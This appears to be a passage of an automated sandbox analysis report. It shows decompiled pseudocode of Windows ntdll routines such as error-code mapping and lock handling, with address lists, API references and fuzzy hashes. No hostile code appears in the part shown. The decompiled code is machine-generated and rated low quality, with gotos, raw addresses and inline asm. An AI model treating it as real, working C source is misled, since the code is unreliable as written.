									if(_t39 < _t70) {
										_t84 = _t79 - 1;
										goto L11;
									} else {
										if(_t55 < ( *(0x6a8fa304 + _t79 * 8) & 0x000000ff)) {
											_t46 =  *(0x6a8fa306 + _t79 * 8) & 0x0000ffff;
											if( *((char*)(0x6a8fa305 + _t79 * 8)) != 1) {
												_t39 = ( *(0x6a8f8692 + (_t46 + _t55 * 2) * 2) & 0x0000ffff) << 0x00000010 |  *(0x6a8f8690 + (_t46 + _t55 * 2) * 2) & 0x0000ffff;
											} else {
												_t39 =  *(0x6a8f8690 + (_t46 + _t55) * 2) & 0x0000ffff;
											}
											goto L16;
										} else {
											_t90 = _t79 + 1;
											goto L11;
										}
									}
									goto L28;
									L11:
								} while (_t90 <= _t84);
								if((_t39 & 0xffff0000) == 0xc0010000) {
									L21:
									 *[fs:0x0] = _v20;
									return _t39 & 0x0000ffff;
								} else {
									E6A91B150("RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping\n", _t39);
									E6A91B150();
									E6A91B150("RTL: ERROR_MR_MID_NOT_FOUND is being returned\n", "RTL: Edit ntos\\rtl\\generr.c to correct the problem\n");
									_t39 = 0x13d;
									goto L16;
								}
							}
						}
					}
				}
				L28:
			}

0x6a91ccc5
0x6a91ccc7
0x6a91cccc
0x6a91ccd7
0x6a91ccde
0x6a91cce3
0x6a91cce8
0x6a91ccec
0x6a91ccf2
0x6a91ccf5
0x6a91ccfe
0x6a974dc8
0x6a91cd04
0x6a91cd04
0x6a91cd0b
0x6a91cd0e
0x6a91cd14
0x6a91cd14
0x6a91cd1d
0x6a91cdca
0x6a91cdd8
0x6a91cd23
0x6a91cd28
0x6a91cde3
0x6a91cdf1
0x6a91cd2e
0x6a91cd33
0x6a91cdb1
0x6a91cdb4
0x6a91cdc2
0x6a91cd35
0x6a91cd43
0x6a91ce10
0x6a91ce19
0x6a974dd6
0x00000000
0x6a974ddc
0x00000000
0x6a974ddc
0x00000000
0x00000000
0x00000000
0x6a91cd49
0x6a91cd49
0x6a91cd57
0x6a974de1
0x6a974de1
0x6a91cd5d
0x6a91cd5f
0x6a91cd64
0x6a91cd67
0x6a91cd69
0x6a91cd72
0x6a91cd76
0x6a91cd90
0x00000000
0x6a91cd78
0x6a91cd82
0x6a91cd95
0x6a91cda5
0x6a91ce0a
0x6a91cda7
0x6a91cda9
0x6a91cda9
0x00000000
0x6a91cd84
0x6a91cd84
0x00000000
0x6a91cd84
0x6a91cd82
0x00000000
0x6a91cd87
0x6a91cd87
0x6a974df9
0x6a91ce1f
0x6a91ce25
0x6a91ce33
0x6a974dff
0x6a974e05
0x6a974e0f
0x6a974e1c
0x6a974e24
0x00000000
0x6a974e24
0x6a974df9
0x6a91cd43
0x6a91cd33
0x6a91cd28
0x00000000

APIs

DbgPrint.1105(RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,-00000F38,00000000,?,?), ref: 6A974E05
DbgPrint.1105(RTL: Edit ntos\rtl\generr.c to correct the problem,?,?,?,-00000F38,00000000,?,?), ref: 6A974E0F
DbgPrint.1105(RTL: ERROR_MR_MID_NOT_FOUND is being returned,?,-00000F38,00000000,?,?), ref: 6A974E1C

Strings

RTL: Edit ntos\rtl\generr.c to correct the problem, xrefs: 6A974E0A
RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping, xrefs: 6A974E00
RTL: ERROR_MR_MID_NOT_FOUND is being returned, xrefs: 6A974E17

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: RTL: ERROR_MR_MID_NOT_FOUND is being returned$RTL: Edit ntos\rtl\generr.c to correct the problem$RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping
API String ID: 3558298466-1070408152
Opcode ID: 5a2c637c1ce5ad4fb35dde7ba46117063921ee13639fcce248681efec704dca0
Instruction ID: e3d17e801ca2a4b49be1874d48fd64d29e6d262e5b0e01b9b70772dbc8df0a80
Opcode Fuzzy Hash: 5a2c637c1ce5ad4fb35dde7ba46117063921ee13639fcce248681efec704dca0
Instruction Fuzzy Hash: A6414976A0C2199ADB14CB58E8D1BB9B7E5E785310F21463EEA11C7780DF39EC60C6D1

Uniqueness

Uniqueness Score: -1.00%

Function 6A94645B, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 109
timeCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E6A94645B(void* __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v36;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				void _v60;
				int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr* _t52;
				int _t56;
				void* _t69;
				int _t72;
				void* _t73;
				intOrPtr _t75;
				intOrPtr _t79;
				void* _t82;
				void* _t84;
				intOrPtr _t86;
				void* _t88;
				signed int _t90;
				signed int _t92;
				signed int _t93;

				_t80 = __edx;
				_t92 = (_t90 & 0xfffffff8) - 0x4c;
				_v8 =  *0x6aa0d360 ^ _t92;
				_t72 = 0;
				_v72 = __edx;
				_t82 = __ecx;
				_t86 =  *((intOrPtr*)(__edx + 0xc8));
				_v68 = _t86;
				memset( &_v60, 0, 0x30);
				_t48 =  *((intOrPtr*)(_t82 + 0x70));
				_t93 = _t92 + 0xc;
				_v76 = _t48;
				_t49 = _t48;
				if(_t49 == 0) {
					_push(5);
					 *((char*)(_t82 + 0x6a)) = 0;
					 *((intOrPtr*)(_t82 + 0x6c)) = 0;
					goto L3;
				} else {
					_t69 = _t49 - 1;
					if(_t69 != 0) {
						if(_t69 == 1) {
							_push(0xa);
							goto L3;
						} else {
							_t56 = 0;
						}
					} else {
						_push(4);
						L3:
						_pop(_t50);
						_v80 = _t50;
						if(_a4 == _t72 && _t86 != 0 && _t50 != 0xa &&  *((char*)(_t82 + 0x6b)) == 1) {
							E6A932280(_t50, _t86 + 0x1c);
							_t79 = _v72;
							 *((intOrPtr*)(_t79 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
							 *((intOrPtr*)(_t79 + 0x88)) =  *((intOrPtr*)(_t82 + 0x68));
							 *((intOrPtr*)(_t79 + 0x8c)) =  *((intOrPtr*)(_t82 + 0x6c));
							 *((intOrPtr*)(_t79 + 0x90)) = _v80;
							 *((intOrPtr*)(_t79 + 0x20)) = _t72;
							E6A92FFB0(_t72, _t82, _t86 + 0x1c);
						}
						_t75 = _v80;
						_t52 =  *((intOrPtr*)(_v72 + 0x20));
						_t80 =  *_t52;
						_v72 =  *((intOrPtr*)(_t52 + 4));
						_v52 =  *((intOrPtr*)(_t82 + 0x68));
						_v60 = 0x30;
						_v56 = _t75;
						_v48 =  *((intOrPtr*)(_t82 + 0x6c));
						asm("movsd");
						_v76 = _t80;
						_v64 = 0x30;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						if(_t80 != 0) {
							 *0x6aa0b1e0(_t75, _v72,  &_v64,  &_v60);
							_t72 = _v76();
						}
						_t56 = _t72;
					}
				}
				_pop(_t84);
				_pop(_t88);
				_pop(_t73);
				return E6A95B640(_t56, _t73, _v8 ^ _t93, _t80, _t84, _t88);
			}

0x6a94645b
0x6a946463
0x6a94646d
0x6a946475
0x6a94647a
0x6a94647e
0x6a946480
0x6a94648c
0x6a946490
0x6a946495
0x6a946498
0x6a94649b
0x6a94649f
0x6a9464a1
0x6a987c07
0x6a987c09
0x6a987c0c
0x00000000
0x6a9464a7
0x6a9464a7
0x6a9464aa
0x6a987bf7
0x6a987c00
0x00000000
0x6a987bf9
0x6a987bf9
0x6a987bf9
0x6a9464b0
0x6a9464b0
0x6a9464b2
0x6a9464b2
0x6a9464b3
0x6a9464ba
0x6a946553
0x6a94655e
0x6a946566
0x6a94656c
0x6a946575
0x6a94657f
0x6a946585
0x6a946588
0x6a946588
0x6a9464c7
0x6a9464cb
0x6a9464ce
0x6a9464d3
0x6a9464da
0x6a9464e5
0x6a9464ed
0x6a9464f1
0x6a9464f5
0x6a9464f6
0x6a9464fa
0x6a946502
0x6a946503
0x6a946504
0x6a946507
0x6a94651a
0x6a946524
0x6a946524
0x6a946526
0x6a946526
0x6a9464aa
0x6a94652c
0x6a94652d
0x6a94652e
0x6a946539

APIs

memset.1105(?,00000000,00000030,?,00000000,00000000), ref: 6A946490
RtlDebugPrintTimes.1105(?,00000030,00000030,00000030), ref: 6A94651A
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000), ref: 6A946553
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,00000000), ref: 6A946588

Strings

0, xrefs: 6A9464FA
0, xrefs: 6A9464E5

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireDebugPrintReleaseTimesmemset
String ID: 0$0
API String ID: 3207447552-203156872
Opcode ID: 3d9e34c4acf424e8b250f0c7c281de99c40196c09f25d66f2ce3564b461f1918
Instruction ID: f1009c3c52200ba3f617add850da60992bd81bca1f1d9f8d427a54ea7532576a
Opcode Fuzzy Hash: 3d9e34c4acf424e8b250f0c7c281de99c40196c09f25d66f2ce3564b461f1918
Instruction Fuzzy Hash: 81415EB16087059FC700CF28C444A16BBE8FF89718F15496EF598DB301DB31EA45CB86

Uniqueness

Uniqueness Score: -1.00%

Function 6A914510, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6A914510(signed int _a4) {
				signed int _t25;
				unsigned int _t28;
				intOrPtr _t32;
				signed int _t40;
				void* _t46;
				signed int _t47;
				signed int _t52;
				void* _t53;
				signed int _t55;

				_t47 = _a4;
				if(_t47 == 0) {
					return 0;
				}
				if(_t47 == 0x103) {
					return 0x3e5;
				}
				_t25 = _t47;
				if((_t47 & 0x20000000) == 0) {
					if((_t25 & 0x00ff0000) == 0x70000) {
						_t28 = _t47 >> 0x18;
						if(_t28 == 0xc0 || _t28 == 0x80) {
							L20:
							return _t47 & 0x0000ffff;
						} else {
							goto L4;
						}
					}
					L4:
					if((_t47 & 0xf0000000) == 0xd0000000) {
						_t47 = _t47 & 0xcfffffff;
					}
					_t53 = 0;
					_t46 = 0x11e;
					do {
						_t52 = _t46 + _t53 >> 1;
						_t32 =  *((intOrPtr*)(0x6a8fa300 + _t52 * 8));
						_t55 = _t47 - _t32;
						if(_t47 < _t32) {
							_t10 = _t52 - 1; // -1
							_t46 = _t10;
							goto L10;
						}
						if(_t55 < ( *(0x6a8fa304 + _t52 * 8) & 0x000000ff)) {
							_t40 =  *(0x6a8fa306 + _t52 * 8) & 0x0000ffff;
							if( *((char*)(0x6a8fa305 + _t52 * 8)) != 1) {
								return ( *(0x6a8f8692 + (_t40 + _t55 * 2) * 2) & 0x0000ffff) << 0x00000010 |  *(0x6a8f8690 + (_t40 + _t55 * 2) * 2) & 0x0000ffff;
							}
							return  *(0x6a8f8690 + (_t40 + _t55) * 2) & 0x0000ffff;
						}
						_t9 = _t52 + 1; // 0x1
						_t53 = _t9;
						L10:
					} while (_t53 <= _t46);
					if((_t47 & 0xffff0000) == 0xc0010000) {
						goto L20;
					}
					E6A91B150("RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping\n", _t47);
					E6A91B150();
					E6A91B150("RTL: ERROR_MR_MID_NOT_FOUND is being returned\n", "RTL: Edit ntos\\rtl\\generr.c to correct the problem\n");
					return 0x13d;
				}
				return _t25;
			}

0x6a914515
0x6a91451d
0x00000000
0x6a9145b6
0x6a914529
0x00000000
0x6a9708b5
0x6a91452f
0x6a914537
0x6a914543
0x6a9708c1
0x6a9708c9
0x6a9708d6
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9708c9
0x6a914549
0x6a914555
0x6a9145ba
0x6a9145ba
0x6a914557
0x6a914559
0x6a91455e
0x6a914563
0x6a914565
0x6a91456c
0x6a914570
0x6a914583
0x6a914583
0x00000000
0x6a914583
0x6a91457c
0x6a914597
0x6a91459f
0x00000000
0x6a97092f
0x00000000
0x6a9145a7
0x6a91457e
0x6a91457e
0x6a914586
0x6a914586
0x6a9708ea
0x00000000
0x00000000
0x6a9708f2
0x6a9708fc
0x6a970909
0x00000000
0x6a97090f
0x6a9145b3

APIs

DbgPrint.1105(RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,00000000,?,6A983AE2,C000000D,?,?,?,00000000,?,00000000,?,?), ref: 6A9708F2
DbgPrint.1105(RTL: Edit ntos\rtl\generr.c to correct the problem,RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,00000000,?,6A983AE2,C000000D,?,?,?,00000000,?,00000000,?), ref: 6A9708FC
DbgPrint.1105(RTL: ERROR_MR_MID_NOT_FOUND is being returned,?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6A970909

Strings

RTL: Edit ntos\rtl\generr.c to correct the problem, xrefs: 6A9708F7
RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping, xrefs: 6A9708ED
RTL: ERROR_MR_MID_NOT_FOUND is being returned, xrefs: 6A970904

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: RTL: ERROR_MR_MID_NOT_FOUND is being returned$RTL: Edit ntos\rtl\generr.c to correct the problem$RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping
API String ID: 3558298466-1070408152
Opcode ID: 595697b16ecd5636ad4028bf3b26f0b7ed1ec73413218e5124cc4fb6e422fe97
Instruction ID: 10c2a24df58803576b2cc59faca3cb443f701b12b163650b089ee4884f814bbc
Opcode Fuzzy Hash: 595697b16ecd5636ad4028bf3b26f0b7ed1ec73413218e5124cc4fb6e422fe97
Instruction Fuzzy Hash: 34217D7651C01F5AE724465DACD4B787256938939CF320226E520CA3C1DE7ACC90C6E2

Uniqueness

Uniqueness Score: -1.00%

Function 6A92A8C0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E6A92A8C0(struct _EXCEPTION_RECORD _a4) {
				signed int _v12;
				char _v552;
				char* _v556;
				intOrPtr _v558;
				void* _v560;
				void* __edi;
				void* __esi;
				void* _t37;
				void* _t41;
				struct _EXCEPTION_RECORD _t42;
				unsigned int _t43;
				signed int _t44;

				_v12 =  *0x6aa0d360 ^ _t44;
				_v560 = 0x2140000;
				_t42 = _a4;
				_v556 =  &_v552;
				RtlAppendUnicodeToString( &_v560, E6A92AAB0());
				_t43 = _v560 & 0x0000ffff;
				RtlAppendUnicodeToString( &_v560, L"\\SysWOW64");
				if(RtlPrefixUnicodeString( &_v560, _t42, 1) != 0) {
					_v560 =  *_t42;
					_v560 = _v560 - _t43;
					_v558 = _v558 - _t43;
					_v556 =  *((intOrPtr*)(_t42 + 4)) + (_t43 >> 1) * 2;
					_t30 = E6A9519A0( &_v560, 0x14c, 1, 0);
				}
				return E6A95B640(_t30, _t37, _v12 ^ _t44, _t41, _t42, _t43);
			}

0x6a92a8d2
0x6a92a8dc
0x6a92a8e7
0x6a92a8ea
0x6a92a8fd
0x6a92a902
0x6a92a915
0x6a92a92b
0x6a92a944
0x6a92a94c
0x6a92a953
0x6a92a968
0x6a92a975
0x6a92a975
0x6a92a93c

APIs

RtlGetNtSystemRoot.1105(?,?), ref: 6A92A8F0
RtlAppendUnicodeToString.1105(02140000,00000000,?,?), ref: 6A92A8FD

Part of subcall function 6A92A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6A92A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6A92A9E2

RtlAppendUnicodeToString.1105(02140000,\SysWOW64,02140000,00000000,?,?), ref: 6A92A915
RtlPrefixUnicodeString.1105(02140000,?,00000001,02140000,\SysWOW64,02140000,00000000,?,?), ref: 6A92A924
RtlReplaceSystemDirectoryInPath.1105(02140000,0000014C,00000001,00000000,02140000,?,00000001,02140000,\SysWOW64,02140000,00000000,?,?), ref: 6A92A975

Strings

\SysWOW64, xrefs: 6A92A90F

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$AppendSystem$DirectoryPathPrefixReplaceRootmemmove
String ID: \SysWOW64
API String ID: 1880611629-3584015931
Opcode ID: 50c8c65bbd30c7e6c3bd948be5e6f63598d0cc25e9dfacb9dd981b2c06898a93
Instruction ID: c0cfcddba4f10df2425ea284600dead7eabcd7f42fb3ee1fbac705476b8237f3
Opcode Fuzzy Hash: 50c8c65bbd30c7e6c3bd948be5e6f63598d0cc25e9dfacb9dd981b2c06898a93
Instruction Fuzzy Hash: 6D113076941218BADB20DFB5EC49BCEB3B8AF58314F2141D6E508A7641DF30EA45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6A9DD8DF, Relevance: 9.2, APIs: 6, Instructions: 160
timeCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6A9DD8DF(signed int __ecx, signed int __edx, signed int _a4, intOrPtr _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t63;
				signed int _t65;
				signed int _t79;
				signed char _t86;
				unsigned int _t96;
				intOrPtr _t99;
				unsigned int _t101;
				unsigned int _t105;
				signed int _t106;

				_t94 = __edx;
				_v8 =  *0x6aa0d360 ^ _t106;
				_v24 = _v24 & 0x00000000;
				_t57 = __ecx;
				_t79 = _a4;
				_v12 = __ecx;
				_t96 = _t79 >> 0x1f;
				_t101 = __edx;
				_v16 = __edx;
				_v36 = _t79;
				_v32 = _t79;
				_v20 = _t96;
				if(_t96 == 0) {
					if(_t79 == 0) {
						goto L34;
					}
					goto L3;
				} else {
					_t79 = 1;
					L3:
					if(( *0x6aa0610c & 0x00000020) == 0 || _t96 != 0) {
						L14:
						_t57 =  *(_t101 + 0x1d) & 0x000000ff;
						if(_t79 >= ( *(_t101 + 0x1d) & 0x000000ff)) {
							goto L34;
						} else {
							goto L15;
						}
						while(1) {
							L15:
							_t94 = _t79;
							_t85 = _t101;
							_t79 = E6A9DDA9B(_t101, _t79,  &_v28);
							_a4 = _t79;
							if(_t79 == 0xffffffff) {
								break;
							}
							_t63 = _v28;
							if(_t63 >= _a8) {
								if(_v24 != 0) {
									_t86 =  *(_t101 + 0x1c) & 0x000000ff;
									_t79 = _t79 << _t86;
									_t65 = _v12;
									 *0x6aa0b1e0( *_t65, _t79 + _t101, _t63 << _t86);
									 *( *(_t65 + 0x10) ^  *0x6aa06110 ^ _t65)();
									asm("lock xadd [eax], ecx");
									_t101 = _v16;
									_t94 = _t79;
									_t85 = _t101;
									E6A9DD864(_t101, _t79, _t63 << _t86, 1, 0);
									_t96 = _v20;
									if(_t96 == 0) {
										break;
									}
									_t79 = _a4 + _v28;
									L26:
									if(_t79 < ( *(_t101 + 0x1d) & 0x000000ff)) {
										continue;
									}
									break;
								}
								if((_a12 & 0x00000001) == 0) {
									E6A93FAD0(_v12 + 0x34);
								}
								_v24 = 2;
								if(_v32 != 0xfffffffe) {
									E6A932280(_t101 + 0xc, _t101 + 0xc);
								}
								goto L26;
							}
							if(_t96 == 0) {
								break;
							}
							_t79 = _t79 + _t63;
							goto L26;
						}
						_t57 = _v24;
						if(_t57 != 0) {
							if(_v36 != 0xfffffffe) {
								_push(_t101);
								if(_t57 != 2) {
									_t57 = E6A93FA00(_t79, _t85, _t96);
								} else {
									_t57 = E6A92FFB0(_t79, _t96);
								}
							}
							if((_a12 & 0x00000001) == 0) {
								_t57 = E6A93FA00(_t79, _t85, _t96, _v12 + 0x34);
							}
						}
						goto L34;
					} else {
						_t94 =  *_t57;
						if(( *(_t94 + 9) & 0x00000001) != 0) {
							goto L14;
						} else {
							_t99 =  *((intOrPtr*)(_t94 + 0x28));
							_t105 =  *(_t99 + 4);
							_t57 = _t105 >>  *(_t94 + 7);
							if(_t57 <= 8) {
								_t57 = 8;
							}
							_t101 = _t105 >>  *(_t94 + 8);
							if(_t101 <= 8) {
								_t101 = 8;
							}
							_t96 =  *((intOrPtr*)(_t99 + 8)) +  *((intOrPtr*)( *((intOrPtr*)(_t94 + 0x28)) + 0xc));
							if(_t96 <= _t57 || E6A9BDA47(_t79, _t96) >= 0) {
								if(_t96 <= _t101) {
									L34:
									return E6A95B640(_t57, _t79, _v8 ^ _t106, _t94, _t96, _t101);
								}
								goto L13;
							} else {
								L13:
								_t96 = _v20;
								_t101 = _v16;
								goto L14;
							}
						}
					}
				}
			}

0x6a9dd8df
0x6a9dd8ee
0x6a9dd8f1
0x6a9dd8f5
0x6a9dd8f8
0x6a9dd8ff
0x6a9dd902
0x6a9dd905
0x6a9dd907
0x6a9dd90a
0x6a9dd90d
0x6a9dd910
0x6a9dd915
0x6a9dd91e
0x00000000
0x00000000
0x00000000
0x6a9dd917
0x6a9dd919
0x6a9dd924
0x6a9dd92b
0x6a9dd97f
0x6a9dd97f
0x6a9dd985
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9dd98b
0x6a9dd98b
0x6a9dd98e
0x6a9dd991
0x6a9dd998
0x6a9dd99a
0x6a9dd9a0
0x00000000
0x00000000
0x6a9dd9a6
0x6a9dd9ac
0x6a9dd9c1
0x6a9dd9ed
0x6a9dd9f3
0x6a9dd9fc
0x6a9dda0e
0x6a9dda14
0x6a9dda26
0x6a9dda2a
0x6a9dda2d
0x6a9dda34
0x6a9dda36
0x6a9dda3b
0x6a9dda40
0x00000000
0x00000000
0x6a9dda45
0x6a9dda48
0x6a9dda4e
0x00000000
0x00000000
0x00000000
0x6a9dda4e
0x6a9dd9c7
0x6a9dd9d0
0x6a9dd9d0
0x6a9dd9d9
0x6a9dd9e0
0x6a9dd9e6
0x6a9dd9e6
0x00000000
0x6a9dd9e0
0x6a9dd9b0
0x00000000
0x00000000
0x6a9dd9b6
0x00000000
0x6a9dd9b6
0x6a9dda54
0x6a9dda59
0x6a9dda5f
0x6a9dda64
0x6a9dda68
0x6a9dda71
0x6a9dda6a
0x6a9dda6a
0x6a9dda6a
0x6a9dda68
0x6a9dda7a
0x6a9dda83
0x6a9dda83
0x6a9dda7a
0x00000000
0x6a9dd931
0x6a9dd931
0x6a9dd937
0x00000000
0x6a9dd939
0x6a9dd939
0x6a9dd93f
0x6a9dd944
0x6a9dd949
0x6a9dd94d
0x6a9dd94d
0x6a9dd951
0x6a9dd956
0x6a9dd95a
0x6a9dd95a
0x6a9dd961
0x6a9dd966
0x6a9dd973
0x6a9dda88
0x6a9dda98
0x6a9dda98
0x00000000
0x6a9dd979
0x6a9dd979
0x6a9dd979
0x6a9dd97c
0x00000000
0x6a9dd97c
0x6a9dd966
0x6a9dd937
0x6a9dd92b

APIs

RtlAcquireSRWLockShared.1105(?,000000FE,?,?,?,?,6A9DC9F8,000000FE), ref: 6A9DD9D0
RtlAcquireSRWLockExclusive.1105(?,000000FE,?,?,?), ref: 6A9DD9E6
RtlDebugPrintTimes.1105(?,?,?,000000FE,?,?,?,?,6A9DC9F8,000000FE), ref: 6A9DDA0E
RtlReleaseSRWLockExclusive.1105(?,000000FE,?,?,?), ref: 6A9DDA6A
RtlReleaseSRWLockShared.1105(?,000000FE,?,?,?), ref: 6A9DDA71
RtlReleaseSRWLockShared.1105(?,000000FE,?,?,?), ref: 6A9DDA83

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ReleaseShared$AcquireExclusive$DebugPrintTimes
String ID:
API String ID: 675604559-0
Opcode ID: cd1794508dceb989438047e4427e08f5811b4b7084f446517678193d0bba2baf
Instruction ID: f7e98b769453604eef3df58ec69012260c6a507e7ceb25186c846914fb92d6dc
Opcode Fuzzy Hash: cd1794508dceb989438047e4427e08f5811b4b7084f446517678193d0bba2baf
Instruction Fuzzy Hash: 4751E571A06A199BCB10DF68C88475EB7F9AF45328F26C259D824AB351DF70D981CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A3F4D, Relevance: 9.1, APIs: 6, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E6A9A3F4D(void* __ebx, signed short* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t37;
				void* _t38;
				signed short _t39;
				void* _t45;
				signed short _t46;
				signed short _t56;
				signed short* _t59;
				void* _t60;
				signed short _t62;
				signed int _t63;
				signed short* _t69;
				signed short _t71;
				signed short* _t73;
				signed short* _t74;
				void* _t75;

				_push(0x1c);
				_push(0x6a9f0890);
				E6A96D08C(__ebx, __edi, __esi);
				_t59 = __edx;
				 *(_t75 - 0x1c) = 0xc00000e5;
				if(__edx != 0) {
					_t69 =  *(_t75 + 8);
					__eflags = _t69;
					if(_t69 == 0) {
						goto L1;
					} else {
						__eflags = __edx - _t69;
						if(__edx == _t69) {
							goto L1;
						} else {
							__eflags =  *__edx;
							if( *__edx != 0) {
								 *((intOrPtr*)(_t75 - 0x28)) = 0;
								 *((intOrPtr*)(_t75 - 0x24)) = 0;
								L6A92EEF0(0x6aa079a0);
								 *((intOrPtr*)(_t75 - 4)) = 0;
								_t71 = E6A9562C0(_t60, __eflags, 0, _t59, _t75 - 0x28, _t75 - 0x20);
								 *(_t75 - 0x1c) = _t71;
								__eflags = _t71;
								if(_t71 >= 0) {
									L15:
									_t37 =  *((intOrPtr*)(_t75 - 0x20));
									__eflags = _t37 - 0xfffe;
									if(_t37 <= 0xfffe) {
										_t38 = _t37 + 4;
										__eflags = _t38 - 0xfffe;
										if(_t38 <= 0xfffe) {
											_t73 =  &(_t69[4]);
											__eflags = _t73;
											if(_t73 == 0) {
												L21:
												_t39 = E6A94D690(0, _t73, _t38);
												__eflags = _t39;
												if(_t39 >= 0) {
													goto L23;
												} else {
													_t71 = 0xc0000017;
												}
											} else {
												__eflags = _t38 - _t69[8];
												if(_t38 <= _t69[8]) {
													L23:
													_t69[2] =  *_t73;
													_t69[1] = _t69[8];
													_t71 = 0;
													__eflags = 0;
												} else {
													goto L21;
												}
											}
										} else {
											_t71 = 0xc0000106;
										}
										 *(_t75 - 0x1c) = _t71;
										__eflags = _t71;
										if(__eflags >= 0) {
											_t71 = E6A9562C0(0xfffe, __eflags, 0, _t59, _t69, 0);
											 *(_t75 - 0x1c) = _t71;
											__eflags = _t71;
											if(_t71 >= 0) {
												_t71 = 0;
												__eflags = 0;
												goto L27;
											}
										}
									} else {
										_t71 = 0xc0000106;
										L27:
										 *(_t75 - 0x1c) = _t71;
									}
								} else {
									__eflags = _t71 - 0xc0000023;
									if(_t71 == 0xc0000023) {
										goto L15;
									}
								}
								 *((intOrPtr*)(_t75 - 4)) = 0xfffffffe;
								E6A9A40C7();
							} else {
								 *_t69 = 0;
								_t45 = ( *__edx & 0x0000ffff) + 2;
								__eflags = _t45 - 0xfffe;
								if(_t45 <= 0xfffe) {
									_t74 =  &(_t69[4]);
									__eflags = _t74;
									if(_t74 == 0) {
										L10:
										_t46 = E6A94D690(0, _t74, _t45);
										__eflags = _t46;
										if(_t46 >= 0) {
											goto L12;
										} else {
											_t71 = 0xc0000017;
										}
									} else {
										__eflags = _t45 - _t69[8];
										if(_t45 <= _t69[8]) {
											L12:
											_t62 =  *_t74;
											_t69[2] = _t62;
											memmove(_t62 + (( *_t69 & 0x0000ffff) >> 1) * 2, _t59[2],  *_t59 & 0x0000ffff);
											_t63 =  *_t69 & 0x0000ffff;
											_t69[1] =  *_t59 + 2 + _t63;
											_t56 =  *_t59 + _t63;
											 *_t69 = _t56;
